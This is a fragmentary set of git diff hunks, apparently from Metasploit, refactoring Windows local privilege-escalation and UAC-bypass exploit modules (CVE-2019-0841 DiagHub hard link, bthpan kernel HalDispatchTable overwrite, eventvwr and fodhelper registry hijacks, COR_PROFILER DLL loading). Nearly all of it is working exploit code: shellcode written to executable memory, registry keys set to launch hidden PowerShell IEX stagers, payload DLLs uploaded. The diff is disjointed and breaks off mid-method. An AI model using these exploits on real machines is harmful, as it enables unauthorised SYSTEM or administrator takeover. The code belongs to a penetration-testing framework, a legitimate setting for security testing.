Collector Service (DiagHub) which was discovered by James Forshaw to
load and execute a DLL as SYSTEM.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Nabeel Ahmed', # Vulnerability discovery and PoC
'James Forshaw', # Code creating hard links and communicating with DiagHub service
'Shelby Pace' # Metasploit module
],
'References' =>
[
This module employs a technique using the Diagnostics Hub Standard
Collector Service (DiagHub) which was discovered by James Forshaw to
load and execute a DLL as SYSTEM.
},
'License' => MSF_LICENSE,
'Author' => [
'Nabeel Ahmed', # Vulnerability discovery and PoC
'James Forshaw', # Code creating hard links and communicating with DiagHub service
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'CVE', '2019-0841' ],
[ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
[ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
[ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
[ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
],
'Targets' =>
[
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows 10', { 'Platform' => 'win' } ]
],
'DisclosureDate' => '2019-04-09',
'DefaultTarget' => 0
))
'DisclosureDate' => '2019-04-09',
'DefaultTarget' => 0
)
)
end
def check
return CheckCode::Unknown if sysinfo['OS'] !~ /windows\s10/i
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1803)
return CheckCode::Appears
elsif version.build_number >= Msf::WindowsVersion::Win10_InitialRelease
return CheckCode::Detected
end
path = expand_path('%WINDIR%\\system32\\win32k.sys')
major, minor, build, revision, brand = file_version(path)
return CheckCode::Appears if build < 17763
CheckCode::Detected
return CheckCode::Unknown
end
def upload_file(file_name, file_path)
contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
write_file(file_path, contents)
register_file_for_cleanup(file_path)
rescue
rescue StandardError
fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
end
def init_process
print_status("Attempting to launch Microsoft Edge minimized.")
cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30)
print_status('Attempting to launch Microsoft Edge minimized.')
cmd_exec('cmd.exe /c start /min microsoft-edge:', nil, 30)
end
def mk_hard_link(src, target, link_exe)
@ -91,8 +94,8 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown
fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI \"STATUS eq RUNNING\"")
dat_path = expand_path("%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat")
cmd_exec('taskkill /F /IM MicrosoftEdge.exe /FI "STATUS eq RUNNING"')
dat_path = expand_path('%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat')
fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)
if session.arch == ARCH_X86
@ -109,7 +112,7 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
print_good('Successfully created hard link')
init_process
cmd_exec("taskkill /F /IM MicrosoftEdge.exe")
cmd_exec('taskkill /F /IM MicrosoftEdge.exe')
write_payload
diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")
@ -119,10 +122,12 @@ class MetasploitModule < Msf::Exploit::Local
end
def cleanup
folder_path = expand_path("%TEMP%\\etw")
folder_path = expand_path('%TEMP%\\etw')
dir_rm(folder_path)
write_file(@rtf_path, @original_data)
unless @rtf_path.nil?
write_file(@rtf_path, @original_data)
end
super
end
end

View File

@ -152,11 +152,10 @@ class MetasploitModule < Msf::Exploit::Local
# - Checks if the session is not already SYSTEM
def check
privs = client.sys.config.getprivs
os = client.sys.config.sysinfo['OS']
version = get_version_info
# Fast fails
if os.include?('Windows 7') || os.include?('Windows XP')
print_bad("Operating system: #{os}")
if version.build_number < Msf::WindowsVersion::Win8 && !version.windows_server?
print_bad("Operating system: #{version.product_name}")
print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.')
return Exploit::CheckCode::Safe
end

View File

@ -86,10 +86,10 @@ class MetasploitModule < Msf::Exploit::Local
end
def fill_memory(proc, address, length, content)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
unless proc.memory.writable?(address)
vprint_error("Failed to allocate memory")
vprint_error('Failed to allocate memory')
return nil
end
vprint_good("#{address} is now writable")
@ -97,7 +97,7 @@ class MetasploitModule < Msf::Exploit::Local
result = proc.memory.write(address, content)
if result.nil?
vprint_error("Failed to write contents to memory")
vprint_error('Failed to write contents to memory')
return nil
end
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
@ -132,14 +132,14 @@ class MetasploitModule < Msf::Exploit::Local
def check
# covers both native x64 and WOW64
if sysinfo["Architecture"] == ARCH_X64
if sysinfo['Architecture'] == ARCH_X64
return Exploit::CheckCode::Safe
end
os = sysinfo["OS"]
return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i
version = get_version_info
return Exploit::CheckCode::Safe unless version.build_number == Msf::WindowsVersion::XP_SP3
handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return Exploit::CheckCode::Safe unless handle
session.railgun.kernel32.CloseHandle(handle)
@ -153,25 +153,25 @@ class MetasploitModule < Msf::Exploit::Local
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
end
handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device")
fail_with(Failure::NoTarget, 'Unable to open \\\\.\\bthpan device')
end
my_target = targets[0]
print_status("Disclosing the HalDispatchTable address...")
print_status('Disclosing the HalDispatchTable address...')
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.")
fail_with(Failure::Unknown, 'Failed to disclose necessary address for exploitation. Aborting.')
else
print_good("Address successfully disclosed.")
print_good('Address successfully disclosed.')
end
print_status("Storing the shellcode in memory...")
print_status('Storing the shellcode in memory...')
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode
kernel_shell_address = 0x1
@ -183,28 +183,28 @@ class MetasploitModule < Msf::Exploit::Local
result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
end
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0)
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses['halDispatchTable'] + 0x4, 0)
session.railgun.kernel32.CloseHandle(handle)
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
print_status("Checking privileges after exploitation...")
print_status('Checking privileges after exploitation...')
unless is_system?
fail_with(Failure::Unknown, "The privilege escalation wasn't successful")
end
print_good("Privilege escalation successful!")
print_good('Privilege escalation successful!')
p = payload.encoded
print_status("Injecting #{p.length} bytes to memory and executing it...")
unless execute_shellcode(p)
fail_with(Failure::Unknown, "Error while executing the payload")
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end
end

View File

@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Local
register_options([
OptEnum.new('TECHNIQUE', [
true, 'Technique to use if UAC is turned off',
'EXE', %w(PSH EXE)
'EXE', %w[PSH EXE]
]),
])
end
@ -64,12 +64,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
@ -107,16 +105,16 @@ class MetasploitModule < Msf::Exploit::Local
session.sys.process.kill(pid)
# delete the uac bypass payload
file_rm(path_bypass)
file_rm("#{expand_path("%TEMP%")}\\tior.exe")
cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"")
file_rm("#{expand_path('%TEMP%')}\\tior.exe")
cmd_exec('cmd.exe', "/c del \"#{expand_path('%TEMP%')}\\w7e*.tmp\"")
end
def path_bypass
@bypass_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.exe"
@path_bypass ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"
end
def path_payload
@payload_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.exe"
@path_payload ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"
end
def upload_binaries!
@ -137,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Local
#
# Upload UAC bypass to the filesystem
#
upload_file("#{path_bypass}", bpexe)
upload_file(path_bypass.to_s, bpexe)
print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
write_file(path_payload, payload)
@ -159,24 +157,21 @@ class MetasploitModule < Msf::Exploit::Local
end
def validate_environment!
fail_with(Failure::None, 'Already in elevated state') if is_admin? or is_system?
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
#
# Verify use against Vista+
#
winver = sysinfo['OS']
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
version = get_version_info
unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81)
fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
end
if is_uac_enabled?
print_status 'UAC is Enabled, checking level...'
elsif is_in_admin_group?
fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
else
if is_in_admin_group?
fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
end

View File

@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local
include Post::Windows::Priv
include Post::Windows::Registry
include Post::Windows::Runas
include Post::Windows::Version
include Exploit::FileDropper
CLSID_PATH = 'HKCU\\Software\\Classes\\CLSID'.freeze
@ -69,25 +70,13 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
vprint_status("System OS Detected: #{sysinfo['OS']}")
version_info = get_version_info
vprint_status("System OS Detected: #{version_info.product}")
# return CheckCode::Safe('UAC is not enabled') unless is_uac_enabled?
if sysinfo['OS'] =~ /Windows (7|8|2008|2012)/
if version_info.build_number.between?(Msf::WindowsVersion::Win7, Msf::WindowsVersion::Win10_1903)
return CheckCode::Appears
end
if sysinfo['OS'] =~ /Windows (10|2016)/
sysinfo_value = sysinfo['OS']
build_num_arr = sysinfo_value.split('Build')
return CheckCode::Safe('Unable to determine build Number') if build_num_arr.length < 2
build_num = build_num_arr[1].to_i
vprint_status("Detected build number: #{build_num}")
if build_num < 18362
return CheckCode::Appears
else
return CheckCode::Safe
end
end
return CheckCode::Safe
end

View File

@ -63,7 +63,8 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
get_version_info
if is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
@ -73,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Local
def write_reg_value(registry_hash)
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
begin
if not registry_key_exist?(registry_hash[:key_name])
if !registry_key_exist?(registry_hash[:key_name])
registry_createkey(registry_hash[:key_name])
registry_hash[:delete_on_cleanup] = true
else
@ -101,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Local
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
end
rescue Rex::Post::Meterpreter::RequestError => e
print_bad("Unable to clean up registry")
print_bad('Unable to clean up registry')
print_error(e.to_s)
end
end
@ -126,44 +127,45 @@ class MetasploitModule < Msf::Exploit::Local
# get directory locations straight
win_dir = session.sys.config.getenv('windir')
vprint_status("win_dir = " + win_dir)
vprint_status('win_dir = ' + win_dir)
tmp_dir = session.sys.config.getenv('tmp')
vprint_status("tmp_dir = " + tmp_dir)
exploit_dir = win_dir + "\\System32\\"
vprint_status("exploit_dir = " + exploit_dir)
target_filepath = exploit_dir + "gpedit.msc"
vprint_status("target_filepath = " + target_filepath)
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll'
vprint_status('tmp_dir = ' + tmp_dir)
exploit_dir = win_dir + '\\System32\\'
vprint_status('exploit_dir = ' + exploit_dir)
target_filepath = exploit_dir + 'gpedit.msc'
vprint_status('target_filepath = ' + target_filepath)
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.dll'
payload_pathname = tmp_dir + '\\' + payload_name
# make payload
vprint_status("Making Payload")
vprint_status("payload_pathname = " + payload_pathname)
vprint_status('Making Payload')
vprint_status('payload_pathname = ' + payload_pathname)
payload = generate_payload_dll
uuid = SecureRandom.uuid
vprint_status("UUID = #{uuid}")
# This reg key will not hurt anything in windows 10+, but is not required.
unless sysinfo['OS'] =~ /Windows (2016|10)/
version = get_version_info
unless version.build_number >= Msf::WindowsVersion::Win10_InitialRelease
@reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",
value_name: '',
value_type: "REG_EXPAND_SZ",
value_type: 'REG_EXPAND_SZ',
value_value: payload_pathname,
delete_on_cleanup: false)
end
@reg_keys.push(key_name: "HKCU\\Environment",
value_name: "COR_PROFILER",
value_type: "REG_SZ",
reg_keys.push(key_name: "HKCU\\Environment",
value_name: 'COR_PROFILER',
value_type: 'REG_SZ',
value_value: "{#{uuid}}",
delete_on_cleanup: false)
@reg_keys.push(key_name: "HKCU\\Environment",
value_name: "COR_ENABLE_PROFILING",
value_type: "REG_SZ",
value_value: "1",
reg_keys.push(key_name: "HKCU\\Environment",
value_name: 'COR_ENABLE_PROFILING',
value_type: 'REG_SZ',
value_value: '1',
delete_on_cleanup: false)
@reg_keys.push(key_name: "HKCU\\Environment",
value_name: "COR_PROFILER_PATH",
value_type: "REG_SZ",
reg_keys.push(key_name: "HKCU\\Environment",
value_name: 'COR_PROFILER_PATH',
value_type: 'REG_SZ',
value_value: payload_pathname,
delete_on_cleanup: false)
@reg_keys.each do |key_hash|
@ -173,31 +175,31 @@ class MetasploitModule < Msf::Exploit::Local
# Upload payload
vprint_status("Uploading Payload to #{payload_pathname}")
write_file(payload_pathname, payload)
vprint_status("Payload Upload Complete")
vprint_status('Payload Upload Complete')
vprint_status("Launching " + target_filepath)
vprint_status('Launching ' + target_filepath)
begin
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
end
print_warning("This exploit requires manual cleanup of '#{payload_pathname}'")
print_status("Please wait for session and cleanup....")
print_status('Please wait for session and cleanup....')
end
def cleanup
if @reg_keys.present?
vprint_status("Removing Registry Changes")
vprint_status('Removing Registry Changes')
@reg_keys.each do |key_hash|
remove_reg_value(key_hash)
end
vprint_status("Registry Changes Removed")
vprint_status('Registry Changes Removed')
end
end
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
@ -208,12 +210,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]

View File

@ -11,13 +11,13 @@ class MetasploitModule < Msf::Exploit::Local
include Post::Windows::Registry
include Post::Windows::Runas
EVENTVWR_DEL_KEY = "HKCU\\Software\\Classes\\mscfile"
EVENTVWR_WRITE_KEY = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command"
EXEC_REG_VAL = '' # This maps to "(Default)"
EXEC_REG_VAL_TYPE = 'REG_SZ'
EVENTVWR_PATH = "%WINDIR%\\System32\\eventvwr.exe"
EVENTVWR_WOW64_PATH = "%WINDIR%\\SysWOW64\\eventvwr.exe"
PSH_PATH = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
EVENTVWR_DEL_KEY = 'HKCU\\Software\\Classes\\mscfile'.freeze
EVENTVWR_WRITE_KEY = 'HKCU\\Software\\Classes\\mscfile\\shell\\open\\command'.freeze
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
EVENTVWR_PATH = '%WINDIR%\\System32\\eventvwr.exe'.freeze
EVENTVWR_WOW64_PATH = '%WINDIR%\\SysWOW64\\eventvwr.exe'.freeze
PSH_PATH = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'.freeze
CMD_MAX_LEN = 2081
def initialize(info = {})
@ -68,7 +68,8 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1607)
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
@ -85,17 +86,15 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::NoTarget, 'Session and Target arch must match')
end
if sysinfo['Architecture'] == ARCH_X64
vprint_status("Target is x64")
vprint_status('Target is x64')
if session.arch == ARCH_X86
vprint_status("Detected Target/Session mismatch. Syswow Required.")
vprint_status('Detected Target/Session mismatch. Syswow Required.')
registry_view = REGISTRY_VIEW_64_BIT
eventvwr_cmd = EVENTVWR_WOW64_PATH
end
else
elsif target_arch.first == ARCH_X64
# if we're on x86, we can't handle x64 payloads
if target_arch.first == ARCH_X64
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
# Validate that we can actually do things before we bother
@ -118,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Local
end
payload_value = rand_text_alpha(8)
psh_path = expand_path("#{PSH_PATH}")
psh_path = expand_path(PSH_PATH.to_s)
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
vprint_status("template_path #{template_path}")
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded)
@ -126,30 +125,30 @@ class MetasploitModule < Msf::Exploit::Local
psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''
if existing.empty?
registry_createkey(EVENTVWR_WRITE_KEY, registry_view)
end
print_status("Configuring payload and stager registry keys ...")
print_status('Configuring payload and stager registry keys ...')
registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
cmd_path = expand_path("#{eventvwr_cmd}")
cmd_path = expand_path(eventvwr_cmd.to_s)
print_status("Executing payload: #{cmd_path}")
result = client.railgun.shell32.ShellExecuteA(nil, 'open', cmd_path, nil, nil, 'SW_HIDE')
if result['return'] > 32 then
print_good("eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.")
Rex::sleep(10)
if result['return'] > 32
print_good('eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.')
Rex.sleep(10)
else
print_error("eventvwr.exe execution failed with Error Code: #{result['GetLastError']} - #{result['ErrorMessage']}")
end
handler(client)
print_status("Cleaning up registry keys ...")
print_status('Cleaning up registry keys ...')
if existing.empty?
registry_deletekey(EVENTVWR_DEL_KEY, registry_view)
else
@ -166,7 +165,7 @@ class MetasploitModule < Msf::Exploit::Local
admin_group = is_in_admin_group?
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
unless is_in_admin_group?
@ -177,12 +176,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]

View File

@ -11,12 +11,12 @@ class MetasploitModule < Msf::Exploit::Local
include Post::Windows::Registry
include Post::Windows::Runas
FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings".freeze
FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command".freeze
FODHELPER_DEL_KEY = 'HKCU\\Software\\Classes\\ms-settings'.freeze
FODHELPER_WRITE_KEY = 'HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command'.freeze
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe".freeze
FODHELPER_PATH = '%WINDIR%\\System32\\fodhelper.exe'.freeze
CMD_MAX_LEN = 16383
def initialize(info = {})
@ -67,7 +67,8 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled?
version = get_version_info
if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
@ -77,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Local
def exploit
commspec = '%COMSPEC%'
registry_view = REGISTRY_VIEW_NATIVE
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'
# Make sure we have a sane payload configuration
if sysinfo['Architecture'] == ARCH_X64
@ -87,18 +88,16 @@ class MetasploitModule < Msf::Exploit::Local
if target_arch.first == ARCH_X64
# We can't use absolute path here as
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
psh_path = "powershell.exe"
psh_path = 'powershell.exe'
end
end
if target_arch.first == ARCH_X86
# Invoking x86, so switch to SysWOW64
psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'
end
else
elsif target_arch.first == ARCH_X64
# if we're on x86, we can't handle x64 payloads
if target_arch.first == ARCH_X64
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
@ -137,14 +136,14 @@ class MetasploitModule < Msf::Exploit::Local
psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''
exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
if existing.empty?
registry_createkey(FODHELPER_WRITE_KEY, registry_view)
end
print_status("Configuring payload and stager registry keys ...")
print_status('Configuring payload and stager registry keys ...')
unless exist_delegate
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
end
@ -162,11 +161,11 @@ class MetasploitModule < Msf::Exploit::Local
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
# TODO: fix this up to use something smarter than a timeout?
Rex::sleep(5)
Rex.sleep(5)
handler(client)
print_status("Cleaining up registry keys ...")
print_status('Cleaining up registry keys ...')
unless exist_delegate
registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
end
@ -186,7 +185,7 @@ class MetasploitModule < Msf::Exploit::Local
admin_group = is_in_admin_group?
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
unless is_in_admin_group?
@ -197,12 +196,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]

View File

@ -114,10 +114,8 @@ class MetasploitModule < Msf::Exploit::Local
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
end
else
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
elsif (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
::File.join(path, "bypassuac-#{sysarch}.dll")
@ -131,12 +129,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
@ -185,7 +181,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def upload_payload_dll(payload_filepath)
payload = generate_payload_dll({ :dll_exitprocess => true })
payload = generate_payload_dll({ dll_exitprocess: true })
print_status('Uploading the Payload DLL to the filesystem...')
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
@ -199,13 +195,12 @@ class MetasploitModule < Msf::Exploit::Local
def validate_environment!
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
winver = sysinfo['OS']
case winver
when /Windows (7|8|2008|2012|10)/
print_good("#{winver} may be vulnerable.")
version_info = get_version_info
# According to https://raw.githubusercontent.com/hfiref0x/UACME/c998cb1f1bafd36f566f17208b915dc48dda5edf/README.md
